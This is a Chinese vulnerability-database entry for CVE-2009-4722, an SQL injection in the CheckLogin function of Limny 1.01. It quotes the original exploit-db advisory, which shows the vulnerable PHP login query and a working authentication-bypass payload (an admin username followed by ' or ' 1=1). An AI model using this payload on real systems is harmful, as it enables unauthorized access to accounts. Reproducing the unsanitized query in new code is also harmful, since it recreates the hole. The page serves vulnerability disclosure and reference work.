Limny 'includes/functions.php'脚本 'CheckLogin'函数 SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1118186 漏洞类型 SQL注入
发布时间 2009-07-27 更新时间 2009-07-27
CVE编号 CVE-2009-4722 CNNVD-ID CNNVD-201003-231
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/9281
https://www.securityfocus.com/bid/43371
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201003-231
|漏洞详情
Limny的includes/functions.php脚本中的CheckLogin函数存在SQL注入漏洞。当magic_quotes_gpc被禁止时,远程攻击者可以借助username参数执行任意的SQL命令。
|漏洞EXP
###########################################################################################
[+] Limny 1.01 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
############################################################################################

[+] Script Homepage : http://www.limny-project.com/

[+] SQL Injection Vulnerability

 - Notes : magic_quotes_gpc = off

 - Vulnerable code in includes/functions.php

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

function CheckLogin($username, $password)
{
	global $db;
	$query = $db->query("SELECT user, pass FROM ".TABLE_PREFIX."users
WHERE user='$username' AND pass='$password'");
	if($check = $db->fetch_array($query))
	{
		return true;
	}else{
		return false;
	}
}

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

 - PoC

   Username : [REAL-ADMIN-NAME] ' or ' 1=1
   Password : anything

[REAL-ADMIN-NAME] = usually is admin

############################################################################################

# milw0rm.com [2009-07-27]
|受影响的产品
Limny Limny 1.01
|参考资料

来源:XF
名称:linny-functions-sql-injection(52009)
链接:http://xforce.iss.net/xforce/xfdb/52009
来源:OSVDB
名称:56592
链接:http://www.osvdb.org/56592
来源:MILW0RM
名称:9281
链接:http://www.milw0rm.com/exploits/9281
来源:SECUNIA
名称:35993
链接:http://secunia.com/advisories/35993